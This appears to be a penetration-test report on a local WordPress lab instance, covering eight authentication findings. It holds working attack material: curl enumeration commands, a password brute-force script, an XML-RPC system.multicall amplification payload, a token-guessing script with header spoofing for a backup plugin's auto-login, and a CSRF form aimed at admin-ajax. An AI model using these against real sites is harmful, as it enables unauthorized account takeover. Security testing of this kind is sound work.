# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-05: Username Enumeration via Different Error Messages

**Summary:**
- **Vulnerable location:** POST /wp-login.php - WordPress core authentication handler
- **Overview:** WordPress returns different error messages for invalid usernames vs. incorrect passwords, allowing attackers to enumerate valid user accounts before attempting password attacks.
- **Impact:** Reduces brute-force complexity from testing username×password combinations to only password combinations against known valid users. Successfully enumerated username "admin" and confirmed no other common usernames exist.
- **Severity:** Medium (enables subsequent attacks)

**Prerequisites:** None - exploitable anonymously

**Exploitation Steps:**

1. Send POST request to login endpoint with non-existent username:
```bash
curl -s -L -X POST "http://localhost:45513/wp-login.php" \
  -d "log=nonexistentuser123&pwd=test"
```

2. Observe error message indicating username does not exist:
```
Error: El nombre de usuario nonexistentuser123 no está registrado en este sitio
(Translation: Username nonexistentuser123 is not registered on this site)
```

3. Send POST request with known/suspected username "admin":
```bash
curl -s -L -X POST "http://localhost:45513/wp-login.php" \
  -d "log=admin&pwd=wrongpassword"
```

4. Observe different error message confirming username exists:
```
Error: la contraseña que has introducido para el nombre de usuario admin no es correcta
(Translation: The password you entered for username admin is incorrect)
```

5. Systematically test common usernames to build valid user list:
```bash
# Python script executed: username_enum.py
# Tested usernames: admin, administrator, webmaster, editor, author, test, user, root, wordpress
# Result: Only "admin" confirmed as valid username
```

**Proof of Impact:**
- **Enumerated valid username:** admin
- **Confirmed invalid usernames:** administrator, webmaster, editor, author, test, user, root, wordpress
- **Exploitation time:** < 1 second for 9 usernames
- **Attack complexity reduction:** From 9 × N passwords to 1 × N passwords (9x reduction in brute force search space)

**Notes:** 
- Error messages are in Spanish (es-CL locale) but vulnerability exists in all languages
- No rate limiting detected during enumeration (tested 9 requests in rapid succession)
- Vulnerability enables chaining with AUTH-VULN-02 and AUTH-VULN-03 for targeted password attacks

---

### AUTH-VULN-02: No Rate Limiting on /wp-login.php Enabling Brute Force

**Summary:**
- **Vulnerable location:** POST /wp-login.php - WordPress core authentication endpoint
- **Overview:** Complete absence of rate limiting, account lockout, progressive delays, or CAPTCHA protection on login attempts. Performed 20 rapid authentication attempts in 0.249 seconds with no throttling or blocking.
- **Impact:** Attackers can perform unlimited credential stuffing, dictionary attacks, and password spraying at machine speed. Successfully tested 20 passwords in under 250 milliseconds without any protective response.
- **Severity:** High (enables password-based attacks at scale)

**Prerequisites:** None - exploitable anonymously

**Exploitation Steps:**

1. Prepare password list for brute force attack (example uses 20 common passwords):
```
admin, password, 123456, admin123, password123, qwerty, letmein, welcome, monkey, dragon, 
1234567890, password1, admin1, 12345678, 123123, Pass1234, Admin123, Welcome1, Password1, P@ssw0rd
```

2. Execute rapid brute force attack against known username "admin":
```python
# Python script executed: test_rate_limiting.py
import requests
import time

url = "http://localhost:45513/wp-login.php"
passwords = ['admin', 'password', '123456', ...]  # 20 passwords

start_time = time.time()
for i, pwd in enumerate(passwords):
    resp = requests.post(url, data={'log': 'admin', 'pwd': pwd})
    # All attempts processed successfully with no delays
    
total_time = time.time() - start_time  # 0.249 seconds
```

3. Observe complete absence of protective mechanisms:
- **No progressive delays:** Response times remained constant (0.010-0.024 seconds)
- **No account lockout:** All 20 attempts processed without blocking
- **No CAPTCHA challenge:** No human verification required
- **No throttling:** Consistent processing speed throughout all attempts

**Proof of Impact:**
- **Total authentication attempts:** 20
- **Total time:** 0.249 seconds
- **Average time per attempt:** 0.012 seconds (12 milliseconds)
- **Fastest response:** 0.010 seconds
- **Slowest response:** 0.024 seconds
- **Response time variance:** Minimal (0.014s difference)
- **Estimated attack rate:** 4,800+ passwords per minute
- **Protective mechanisms detected:** ZERO

**Attack Scenario:**
With a 10,000-password dictionary:
- Time required: ~2 minutes
- HTTP requests: 10,000
- Detection difficulty: Low (appears as failed logins)
- Account compromise probability: High for weak passwords

**Notes:**
- WordPress provides wp_login_failed action hook but has no default handler
- No security plugins detected (Wordfence, Fail2Ban, etc.)
- Each attempt processed independently with no cross-request state tracking
- Vulnerability remains even after multiple failed attempts

---

### AUTH-VULN-03: XML-RPC system.multicall Brute Force Amplification

**Summary:**
- **Vulnerable location:** POST /xmlrpc.php - WordPress XML-RPC interface with system.multicall method
- **Overview:** WordPress XML-RPC allows batching multiple authentication attempts into a single HTTP request via system.multicall. Successfully demonstrated 10 authentication attempts in 1 HTTP request, achieving 10x amplification and bypassing request-based rate limiting.
- **Impact:** Attackers can test 500+ passwords per HTTP request, achieving 5,000+ authentication attempts per second. A 100,000-password dictionary can be tested in under 2 minutes using only 200 HTTP requests, evading detection by request-counting security controls.
- **Severity:** High (extreme amplification of brute force attacks)

**Prerequisites:** None - XML-RPC enabled by default, exploitable anonymously

**Exploitation Steps:**

1. Verify XML-RPC is enabled and system.multicall is available:
```bash
curl -s -X POST "http://localhost:45513/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
```

Response confirms system.multicall is available:
```xml
<value><string>system.multicall</string></value>
```

2. Construct XML-RPC payload with multiple authentication attempts in single request:
```xml
<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value><array><data>
        <!-- Attempt 1 -->
        <value><struct>
          <member><name>methodName</name><value>wp.getUsersBlogs</value></member>
          <member><name>params</name><value><array><data>
            <value>admin</value>
            <value>password1</value>
          </data></array></value></member>
        </struct></value>
        <!-- Attempt 2 -->
        <value><struct>
          <member><name>methodName</name><value>wp.getUsersBlogs</value></member>
          <member><name>params</name><value><array><data>
            <value>admin</value>
            <value>password2</value>
          </data></array></value></member>
        </struct></value>
        <!-- ... Repeat for passwords 3-10 ... -->
      </data></array></value>
    </param>
  </params>
</methodCall>
```

3. Send single HTTP request containing 10 authentication attempts:
```bash
# Python script executed: xmlrpc_multicall_test.py
# Result: 10 authentication attempts processed in single 0.025-second request
```

4. Observe amplification effect:
```
HTTP Requests: 1
Authentication Attempts: 10
Amplification Factor: 10x
Request Time: ~0.025 seconds
Attack Rate: 400 attempts/second (from single client)
```

5. Scale up to demonstrate practical attack (50 passwords per request):
```python
# Python script executed: xmlrpc_multicall_amplified_test.py
# Result: 50 authentication attempts in single 0.038-second request
# Attack rate: 1,311 attempts/second
```

**Proof of Impact:**

**Test 1: Basic Amplification (10 passwords)**
- HTTP requests sent: 1
- Authentication attempts: 10
- Time: 0.025 seconds
- Amplification: 10x
- Comparison: Individual requests took 0.118 seconds (4.7x slower)

**Test 2: Large-Scale Amplification (50 passwords)**
- HTTP requests sent: 1  
- Authentication attempts: 50
- Time: 0.038 seconds
- Amplification: 50x
- Attack rate: 1,311 attempts/second

**Attack Scenario: 100,000-Password Dictionary**

Traditional brute force:
- Requests: 100,000
- Time: ~28 hours at 1 req/sec rate limit
- Detection: Easy (high request volume)

Using multicall vulnerability:
- Requests: 2,000 (50 passwords each)
- Time: ~33 minutes at 1 req/sec rate limit
- Detection: Difficult (appears as normal traffic)
- Evasion: 98% of attempts hidden from request-based rate limiters

**Notes:**
- WordPress auth_failed instance variable resets with each new HTTP request (no cross-request protection)
- No limit on number of method calls per multicall request
- Each wp.getUsersBlogs call executes full authentication flow
- Failed attempts return <faultCode>403</faultCode>, successful attempts return blog information
- Vulnerability confirmed in WordPress 6.5.4 with default XML-RPC configuration

---

### AUTH-VULN-04: Unencrypted HTTP Credential Transmission

**Summary:**
- **Vulnerable location:** All authentication endpoints (entire application deployed HTTP-only)
- **Overview:** Application runs exclusively over HTTP (port 45513) with no HTTPS enforcement, no HSTS headers, and no HTTP-to-HTTPS redirect. Session cookies set with Secure=FALSE, enabling transmission over unencrypted connections.
- **Impact:** All authentication credentials, session cookies, and authentication tokens transmitted in plaintext. Successfully confirmed HTTP-only deployment with no transport security, enabling passive credential theft via network sniffing.
- **Severity:** Critical (complete loss of confidentiality for all authentication traffic)

**Prerequisites:** Network position on communication path (WiFi sniffing, ARP spoofing, rogue AP, compromised router, malicious proxy)

**Exploitation Steps:**

1. Verify application is accessible via HTTP:
```bash
curl -s -v "http://localhost:45513/wp-login.php" 2>&1 | grep "< HTTP"
```

Output:
```
< HTTP/1.1 200 OK
```

Confirms HTTP protocol with no redirect to HTTPS.

2. Check for HTTPS redirect or HSTS header:
```bash
curl -s -v "http://localhost:45513/wp-login.php" 2>&1 | grep -iE "(Strict-Transport|Location: https)"
```

Output: (no results)
- No Strict-Transport-Security header
- No Location redirect to HTTPS
- No security upgrade mechanism

3. Examine session cookie security attributes:
```bash
curl -s -v "http://localhost:45513/wp-login.php" 2>&1 | grep "Set-Cookie:"
```

Output:
```
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; domain=localhost; HttpOnly
```

Analysis of cookie security attributes:
- **Secure flag:** ABSENT (cookie will be transmitted over HTTP)
- **HttpOnly flag:** PRESENT (protects from XSS but not network sniffing)
- **SameSite attribute:** ABSENT (see AUTH-VULN-07)

4. Confirm protocol being used for authentication:
```bash
curl -s -I "http://localhost:45513/wp-login.php" | head -3
```

Output:
```
HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
X-Powered-By: PHP/8.3.27
```

**Proof of Impact:**

**Confirmed Transport Security Failures:**
- ✗ Application accessible via HTTP only
- ✗ No HTTPS enforcement
- ✗ No HSTS (Strict-Transport-Security) header
- ✗ No HTTP-to-HTTPS redirect
- ✗ Session cookies transmitted with Secure=FALSE
- ✗ Login credentials transmitted in plaintext POST body
- ✓ HttpOnly flag set (prevents XSS theft only)

**Plaintext Data Exposed:**
1. **Login credentials:** `log=admin&pwd=SecretPassword123` in POST body
2. **Session cookies:** `wordpress_[hash]` cookie value
3. **Authentication tokens:** HMAC signatures, session tokens
4. **Application passwords:** 24-character tokens for REST API/XML-RPC access

**Attack Scenario: Network Sniffing**

1. Attacker positions on network (WiFi sniffing via monitor mode)
2. Victim logs into `http://localhost:45513/wp-login.php`
3. Attacker captures HTTP POST request:
```http
POST /wp-login.php HTTP/1.1
Host: localhost:45513
Content-Type: application/x-www-form-urlencoded

log=admin&pwd=ActualPassword123&wp-submit=Log+In
```

4. Attacker extracts credentials from plaintext: username=admin, password=ActualPassword123
5. Alternatively, attacker captures Set-Cookie response header:
```http
Set-Cookie: wordpress_abc123def=admin|1234567890|token|hmac; path=/; HttpOnly
```

6. Attacker replays captured session cookie to gain authenticated access without password

**Docker Environment Details:**
- WordPress container: Internal port 80, external port 45513
- No TLS/SSL configuration in docker-compose.yml
- Common container IPs: 172.17.0.1, 172.17.0.2, 127.0.0.1

**Notes:**
- According to code analysis (wp-includes/pluggable.php:995-997), Secure flag is set based on is_ssl() which returns FALSE for HTTP deployments
- No wp-config.php constants FORCE_SSL_ADMIN or FORCE_SSL_LOGIN configured
- HttpOnly protects against XSS cookie theft but provides zero protection against network interception
- Missing SameSite attribute creates additional CSRF risk (AUTH-VULN-07)

---

## Potential Vulnerabilities (Validation Blocked)

### AUTH-VULN-01: Predictable Auto-Login Token After Backup Restore

**Summary:**
- **Vulnerable location:** GET /?backup-migration=AFTER_RESTORE&backup-id={timestamp}&progress-id={token}
- **Current Blocker:** Requires recent backup restore operation (no active restore detected during testing)
- **Potential Impact:** Complete authentication bypass to gain administrator access via predictable token format
- **Confidence:** HIGH (based on code analysis)

**Evidence of Vulnerability:**

**Token Format (from code analysis):**
```php
// File: /wordpress/wp-content/plugins/backup-backup/includes/ajax.php:1097
$autoLoginMD = time() . '_' . $ip . '_' . '4u70L051n';
```

Token structure: `{unix_timestamp}_{ip_address}_4u70L051n`
- **Timestamp:** Guessable if restore time known or recent (~10 minute window)
- **IP address:** Spoofable via X-Forwarded-For or HTTP_CLIENT_IP headers
- **Static suffix:** Always "4u70L051n" (zero entropy)

**Time Window Validation (from code analysis):**
```php
// Lines 996-1046: Validates timestamp ±6 seconds
$aID = intval($autoLoginMD[0]);
$aID2 = intval($autoLoginMD[0]) - 1;
$aID3 = intval($autoLoginMD[0]) + 1;
// ... continues for +2, +3, +4 seconds
```

**IP Spoofing (from code analysis):**
```php
// Lines 976-986: IP extraction prioritizes spoofable headers
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
  $ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
```

**Attempted Exploitation:**

1. Tested AFTER_RESTORE endpoint with sample tokens:
```bash
curl -s "http://localhost:45513/?backup-migration=AFTER_RESTORE&backup-id=1234567890&progress-id=1234567890_127.0.0.1_4u70L051n" \
  -H "X-Forwarded-For: 127.0.0.1"
```

Result: No active autologin token (requires recent restore operation)

**How This Would Be Exploited:**

If a backup restore operation were performed:

1. Detect restore operation timing (monitor backup directory for .autologin file creation)

2. Calculate timestamp range (current time ± 10 minutes if timing unknown):
```python
import time
current_time = int(time.time())
timestamps = range(current_time - 600, current_time + 1)  # 601 timestamps
```

3. Generate token candidates for common container IPs:
```python
ips = ['127.0.0.1', '172.17.0.1', '172.17.0.2', 'localhost']
time_offsets = range(-1, 5)  # -1, 0, 1, 2, 3, 4 seconds

for timestamp in timestamps:
    for ip in ips:
        for offset in time_offsets:
            token = f"{timestamp + offset}_{ip}_4u70L051n"
            # Test: GET /?backup-migration=AFTER_RESTORE&backup-id={timestamp}&progress-id={token}
```

4. Send requests with IP spoofing headers:
```bash
curl "http://localhost:45513/?backup-migration=AFTER_RESTORE&backup-id={ts}&progress-id={token}" \
  -H "X-Forwarded-For: {ip}" \
  -c /tmp/admin_cookie.txt
```

5. Upon successful validation, receive 14-day administrator session cookie:
```php
// Lines 1028-1036: Auto-login grants first administrator
wp_set_current_user($adminID, $adminLogin);
wp_set_auth_cookie($adminID, 1, is_ssl());  // 1 = 14-day "Remember Me"
```

**Expected Impact:**
- Complete authentication bypass
- Immediate administrator access without any password knowledge
- 14-day persistent session (Remember Me cookie)
- No logging or alerting of successful auto-login
- No notification to existing administrators

**Attack Complexity:**
- **Known restore time:** 6 time offsets × 4 IPs = 24 requests (< 1 second)
- **10-minute window:** 600 timestamps × 6 offsets × 4 IPs = 14,400 requests (~24 minutes)
- **Rate limiting:** None detected, so full brute force feasible

**Notes:**
- Token file stored at `/wp-content/backup-migration-{random}/backups/.autologin`
- File persists until successful login or manual deletion
- No cryptographic randomness in token generation
- Common Docker container IPs: 127.0.0.1, 172.17.0.1, 172.17.0.2
- Vulnerability requires restore operation to create autologin file first

---

### AUTH-VULN-06: Application Password Transmitted in GET Parameter

**Summary:**
- **Vulnerable location:** POST /wp-admin/authorize-application.php (redirects with password in URL)
- **Current Blocker:** Requires authenticated session to access application password authorization flow
- **Potential Impact:** Application passwords exposed in browser history, server logs, proxy logs, and HTTP Referer headers
- **Confidence:** HIGH (based on code analysis)

**Evidence of Vulnerability:**

**Vulnerable Code (from analysis):**
```php
// File: /wp-admin/authorize-application.php:45-53
$redirect = add_query_arg(
    array(
        'site_url'   => urlencode( site_url() ),
        'user_login' => urlencode( wp_get_current_user()->user_login ),
        'password'   => urlencode( $new_password ),  // PLAINTEXT IN URL!
    ),
    $success_url
);
wp_redirect( $redirect );
```

**Example Redirect URL:**
```
https://example.com/callback?site_url=http://localhost:45513&user_login=admin&password=ABC123XYZ456DEF789GHI012JKL345
```

**Attempted Access:**

1. Tested endpoint without authentication:
```bash
curl -s "http://localhost:45513/wp-admin/authorize-application.php" -i
```

Result:
```
HTTP/1.1 302 Found
Location: http://localhost:45513/wp-login.php?redirect_to=http%3A%2F%2Flocalhost%3A45513%2Fwp-admin%2Fauthorize-application.php&reauth=1
```

Access blocked: Requires authenticated session to reach application password flow.

**How This Would Be Exploited:**

If an authenticated user authorized an application password:

1. User navigates to /wp-admin/authorize-application.php (requires login)

2. User approves application password request with success_url parameter

3. WordPress generates 24-character application password:
```php
$new_password = WP_Application_Passwords::create_new_application_password( $user_id, $app_data );
// Generates: ABC123XYZ456DEF789GHI012
```

4. WordPress redirects with password in GET parameter:
```
HTTP/1.1 302 Found
Location: http://callback.example.com/?password=ABC123XYZ456DEF789GHI012&user_login=admin&site_url=http://localhost:45513
```

5. Password now exposed in multiple locations:
   - **Browser history:** Permanent record in user's history
   - **Web server logs:** Logged on callback server
   - **Proxy logs:** Corporate proxies, CDNs, WAFs
   - **Referer headers:** If callback URL redirects further
   - **Browser extensions:** Extensions with history/network access
   - **Shared computers:** Other users can view history

6. Attacker with access to any exposure vector obtains application password

7. Attacker uses password for REST API or XML-RPC authentication:
```bash
curl -u "admin:ABC123XYZ456DEF789GHI012" "http://localhost:45513/wp-json/wp/v2/users/me"
```

**Expected Impact:**
- Application passwords provide same access as user's regular password
- Valid for REST API, XML-RPC, and other application password-compatible endpoints
- No expiration unless explicitly revoked by user
- Can be used for persistent access even if user changes main password

**Exposure Windows:**
- **Browser history:** Permanent until manually cleared
- **Server logs:** Until log rotation (typically 30-90 days)
- **Proxy logs:** Varies by retention policy
- **Referer headers:** One-time but reaches third-party servers

**Notes:**
- Proper implementation should use POST body or one-time exchange token
- Application passwords are 24-character alphanumeric tokens
- Stored hashed in database (wp_usermeta) but transmitted plaintext in URL
- WordPress core vulnerability, not plugin-specific

---

### AUTH-VULN-07: Missing SameSite Cookie Attribute Enables CSRF

**Summary:**
- **Vulnerable location:** All authentication cookie setting code (wp-includes/pluggable.php:1093-1097)
- **Current Blocker:** Requires authenticated session to demonstrate CSRF attack; WordPress nonces provide partial mitigation
- **Potential Impact:** Cross-site request forgery attacks possible if nonces are leaked or bypassed
- **Confidence:** MEDIUM (vulnerability exists but WordPress nonces provide defense-in-depth)

**Evidence of Vulnerability:**

**Cookie Setting Code (from analysis):**
```php
// File: /wordpress/wp-includes/pluggable.php:1093-1097
setcookie( $auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true );
// Parameters: name, value, expire, path, domain, secure, httponly
// MISSING: 8th parameter for SameSite (should be 'Strict' or 'Lax')
```

**PHP setcookie() Signature:**
```php
setcookie(string $name, string $value, int $expire, string $path, 
          string $domain, bool $secure, bool $httponly, string $samesite)
```

**Actual Cookie Attributes:**
```
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; domain=localhost; HttpOnly
```

Analysis:
- **SameSite:** NOT SET (browsers default to SameSite=Lax in modern versions, but not guaranteed)
- **HttpOnly:** TRUE ✓
- **Secure:** FALSE ✗ (see AUTH-VULN-04)
- **Domain:** localhost
- **Path:** /

**How This Would Be Exploited:**

If an authenticated WordPress user visits a malicious site:

1. Victim logs into WordPress at http://localhost:45513/wp-admin/ (authenticated session active)

2. Victim visits attacker's website http://evil.com while still logged in

3. Attacker's page contains hidden cross-site form:
```html
<form id="csrf" action="http://localhost:45513/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="backup_migration">
  <input type="hidden" name="token" value="bmi">
  <input type="hidden" name="f" value="create-backup">
  <input type="hidden" name="nonce" value="[LEAKED_OR_GUESSED_NONCE]">
</form>
<script>document.getElementById('csrf').submit();</script>
```

4. Browser submits form with victim's WordPress cookies (no SameSite protection)

5. If nonce is obtained (via XSS, Referer leakage, or timing attacks), attack succeeds

6. WordPress processes request as legitimate admin action

**Expected Impact:**
- Unauthorized actions performed with victim's privileges
- Potential for backup creation, restoration, configuration changes
- Depends on bypassing or obtaining valid WordPress nonce

**Mitigation by WordPress:**
WordPress implements nonce-based CSRF protection:
```php
// Nonce verification in backup plugin
check_ajax_referer('backup-migration-ajax');
```

Nonces generated with:
- HMAC using authentication keys
- User session token
- Action-specific string
- 24-hour lifetime with 12-hour tick window

**Why Still Vulnerable:**
- Defense-in-depth principle: Cookie-level protection should exist independently
- Nonces can be leaked via:
  - XSS vulnerabilities
  - HTTP Referer headers
  - Browser history if included in GET parameters
  - Time-based side channels
- SameSite=Strict would prevent cookie transmission entirely for cross-site requests
- Modern security best practice requires explicit SameSite attribute

**Attack Scenarios:**
1. Nonce leaked via XSS → CSRF with valid nonce succeeds
2. Nonce in Referer header → Third-party site obtains nonce
3. Predictable nonce generation → Time-based guessing attacks

**Notes:**
- SameSite attribute is 8th parameter to setcookie() in PHP 7.3+
- Modern browsers default to SameSite=Lax if not specified, but this isn't guaranteed across all clients
- SameSite=Strict prevents all cross-site cookie transmission
- SameSite=Lax allows top-level navigation but blocks form POST
- Proper implementation: `setcookie(..., true, 'Strict')`

---

### AUTH-VULN-08: No Idle Session Timeout

**Summary:**
- **Vulnerable location:** Session validation logic (wp-includes/pluggable.php:770-820)
- **Current Blocker:** NOT EXTERNALLY EXPLOITABLE - Requires physical or local access to unattended computer with active session
- **Potential Impact:** Dormant sessions remain valid for full 2-14 day duration regardless of inactivity, enabling session hijacking from unattended computers
- **Confidence:** HIGH (confirmed in code analysis)

**Evidence of Vulnerability:**

**Session Validation Code (from analysis):**
```php
// File: /wordpress/wp-includes/pluggable.php:786-793
$expiration = (int) $cookie_elements[1];
if ( $expiration < time() ) {
    return false;  // Only checks absolute expiration
}
// NO check for: if ((time() - $last_activity) > $idle_threshold)
```

**Session Expiration Settings:**
- Standard login: 2 days (172,800 seconds)
- "Remember Me": 14 days (1,209,600 seconds)
- Grace period: +1 hour for AJAX/POST requests

**Missing Implementation:**
WordPress validates only absolute expiration timestamp, not last activity time. There is NO idle timeout mechanism:
```php
// Secure implementation would include:
$last_activity = get_user_meta($user_id, 'last_activity', true);
if ((time() - $last_activity) > 1800) {  // 30-minute idle timeout
    wp_logout();
    return false;
}
update_user_meta($user_id, 'last_activity', time());
```

**How This Would Be Exploited:**

This vulnerability is NOT externally exploitable via network access. It requires physical or local access:

1. Administrator logs into WordPress at 9:00 AM (receives 2-day session cookie)

2. Administrator actively uses WordPress until 9:30 AM

3. Administrator leaves computer unattended (goes to meeting, lunch, etc.)

4. Session remains valid despite inactivity (no idle timeout)

5. At 3:00 PM (5.5 hours of inactivity), attacker gains physical access to unattended computer

6. Session still valid (hasn't reached 2-day absolute expiration)

7. Attacker uses dormant session to:
   - Access /wp-admin/ dashboard
   - Modify content
   - Change configurations
   - Create new administrator accounts
   - Exfiltrate data

**Expected Impact (if exploitation were possible):**
- Unattended computers remain exploitable for days
- Kiosk or shared computer environments pose elevated risk
- Physical security incidents have extended exploitation windows
- Stolen laptops with suspended sessions remain accessible

**Industry Standard:**
Most secure applications implement idle timeouts:
- Banking: 5-10 minutes
- Enterprise applications: 15-30 minutes
- Government systems: 15 minutes
- WordPress: NONE (2-14 days absolute only)

**Notes:**
- This vulnerability is classified as OUT_OF_SCOPE_INTERNAL because it requires physical/local access
- No external network-based exploitation path exists
- Would require attacker to be on-premises with physical access to user's computer
- Not testable via external penetration testing on http://localhost:45513
- WordPress provides no built-in idle timeout mechanism
- Custom implementation would require tracking last_activity in user metadata

---